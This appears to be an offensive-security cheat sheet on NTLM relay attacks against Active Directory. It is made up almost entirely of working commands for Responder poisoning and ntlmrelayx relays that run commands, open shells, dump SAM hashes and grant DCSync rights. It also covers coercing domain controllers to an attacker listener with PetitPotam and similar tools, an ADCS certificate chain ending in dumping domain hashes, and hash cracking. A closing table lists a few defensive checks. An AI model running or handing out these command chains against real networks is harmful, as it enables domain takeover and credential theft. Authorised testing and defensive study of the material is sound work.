AD Attacks

NTLM Relay Attacks

NTLM relay end-to-end: Responder poisoning, ntlmrelayx SMB/LDAP/HTTP relay, authentication coercion (PrinterBug, PetitPotam, DFSCoerce, Coercer), SMB signing detection, LDAP relay to DACL/computer accounts, ADCS relay chain, and NTLMv1 downgrade.

NTLM relay intercepts an authentication handshake in transit and replays it against a different target — the attacker authenticates to a server as the victim without ever seeing the password. The attack requires an authentication trigger (Responder poisoning or coercion) and a relay target without signing.

How it Works

Victim → [NTLM challenge] → Attacker (ntlmrelayx)
Attacker forwards challenge to Target Server
Target → [NTLM response] → Attacker
Attacker forwards response to Target Server
Target authenticates the attacker as the victim

Requirements per target type:

Relay toSigning requirement
SMBSigning must be disabled/not required
LDAPNo signing by default (LDAP signing separate from SMB)
LDAPSChannel binding check — harder to relay
HTTPNo signing — Exchange EWS, ADCS web enrollment

Step 1 — Find SMB Relay Targets

# nxc — list hosts without SMB signing required
nxc smb 10.10.10.0/24 --gen-relay-list relay_targets.txt

# nmap
nmap -p 445 --script smb-security-mode 10.10.10.0/24 | grep "message_signing"

# Responder RunFinger
python3 /opt/Responder/tools/RunFinger.py -i 10.10.10.0/24

DCs always enforce signing. Member servers and workstations typically do not.


Step 2 — Configure Responder (disable SMB/HTTP)

Edit /etc/responder/Responder.conf:

SMB = Off
HTTP = Off

Start Responder to poison LLMNR/NBT-NS — any name lookup that fails falls back to broadcast:

sudo responder -I eth0 -wrf

Step 3 — Start ntlmrelayx

SMB relay → execute command

ntlmrelayx.py -tf relay_targets.txt -smb2support -c "whoami > C:\\Windows\\Temp\\pwned.txt"

SMB relay → interactive shell

ntlmrelayx.py -tf relay_targets.txt -smb2support -i
# Connect to the spawned shell:
nc 127.0.0.1 11000

SMB relay → dump SAM

ntlmrelayx.py -tf relay_targets.txt -smb2support
# ntlmrelayx auto-dumps SAM hashes when admin rights are obtained

LDAP relay → dump LAPS / ADCS info

ntlmrelayx.py -t ldap://DC_IP --dump-laps --dump-adcs
ntlmrelayx.py -t ldaps://DC_IP --dump-laps

LDAP relay → create computer account (RBCD setup)

ntlmrelayx.py -t ldap://DC_IP --add-computer EVILPC --computer-password 'EvilPass123!'
# Then use EVILPC$ for RBCD attack (see Kerberos Attacks note)

LDAP relay → grant DCSync rights to a low-priv user

ntlmrelayx.py -t ldap://DC_IP --escalate-user low_priv_user

HTTP relay → ADCS web enrollment (ESC8)

ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

SOCKS proxy — persistent authenticated sessions

ntlmrelayx.py -tf relay_targets.txt -smb2support --socks
# Use with proxychains
proxychains secretsdump.py -no-pass corp.local/victim@TARGET_IP
proxychains smbclient.py -no-pass corp.local/victim@TARGET_IP

Authentication Coercion

Coercion forces a machine (usually the DC) to authenticate to your listener without waiting for passive poisoning.

PrinterBug — MS-RPRN SpoolSample

# Linux
python3 printerbug.py 'corp.local/user:pass'@DC_IP ATTACKER_IP

# Windows
.\SpoolSample.exe DC_IP ATTACKER_IP

PetitPotam — MS-EFSRPC

# Authenticated
python3 PetitPotam.py -u user -p pass -d corp.local ATTACKER_IP DC_IP

# Unauthenticated (original — patched, but variants remain)
python3 PetitPotam.py ATTACKER_IP DC_IP

DFSCoerce — MS-DFSNM

python3 dfscoerce.py -u user -p pass -d corp.local ATTACKER_IP DC_IP

Coercer — All Coercion Methods

# Enumerate which coercion methods are available
python3 Coercer.py scan -t DC_IP -u user -p pass -d corp.local

# Trigger all available coercions
python3 Coercer.py coerce -t DC_IP -l ATTACKER_IP -u user -p pass -d corp.local

# Trigger a specific method
python3 Coercer.py coerce -t DC_IP -l ATTACKER_IP -u user -p pass -d corp.local -m PrinterBug

Full Chain: Coercion + LDAP Relay → ADCS (ESC8)

This is the most impactful relay chain — no SMB signing bypass needed.

# Terminal 1: relay to ADCS web enrollment
ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Terminal 2: coerce DC auth
python3 PetitPotam.py ATTACKER_IP DC_IP

# After relay captures the certificate (dc.pfx):
certipy auth -pfx dc.pfx -dc-ip DC_IP
# Returns: DC$ TGT + NT hash

# DCSync using the DC machine account hash
secretsdump.py -hashes ':DC_NT_HASH' 'corp.local/DC$'@DC_IP -just-dc-ntlm

Full Chain: Coercion + Hash Capture (no relay target)

When all hosts enforce SMB signing:

# Responder with SMB/HTTP on
sudo responder -I eth0 -wrf

# Coerce DC auth — Responder captures the DC machine account NTLMv2 hash
python3 PetitPotam.py ATTACKER_IP DC_IP

# Crack the hash (machine account hashes are hard to crack — usually try anyway)
hashcat -m 5600 dc_hash.txt /usr/share/wordlists/rockyou.txt

Multi-Relay (Relay to Multiple Targets)

# Relay same auth to multiple targets
ntlmrelayx.py -tf relay_targets.txt -smb2support -c "whoami" --no-wcf-server

# Relay with specific target override
ntlmrelayx.py -t smb://10.10.10.20 -smb2support -i
ntlmrelayx.py -t ldap://DC_IP -t smb://MEMBER_SERVER -smb2support

NTLMv1 Downgrade

Force downgrade from NTLMv2 to NTLMv1 — crackable with crack.sh rainbow tables:

# Responder NTLMv1 capture mode
sudo responder -I eth0 --lm --disable-ess

# Check if NTLMv1 is allowed
nxc smb TARGET -u user -p pass -M ntlmv1

# crack.sh (free) or hashcat -m 5500 for NTLMv1

LLMNR / NBT-NS Poisoning Background

Responder responds to multicast name lookups and injects its own IP as the answer — triggering NTLM auth to the attacker. This works because Windows falls back to LLMNR and NBT-NS when DNS fails.

# Listen only (no poisoning — safe for discovery)
sudo responder -I eth0 -A

# Full poisoning
sudo responder -I eth0 -wrf

# Logs saved to /var/log/responder/ (or ~/.responder/)
# Captured hashes in /usr/share/responder/logs/

Crack captured NTLMv2 hashes: hashcat -m 5600 hashes.txt rockyou.txt


Defense Checks

CheckCommand
SMB signing statusnxc smb 10.0.0.0/24 --gen-relay-list — empty = all signed
LDAP signingnxc ldap DC_IP -M ldap-checker
LLMNR/NBT-NSCheck GPO: Computer → Admin Templates → Network → DNS Client
Coercion surfacepython3 Coercer.py scan -t TARGET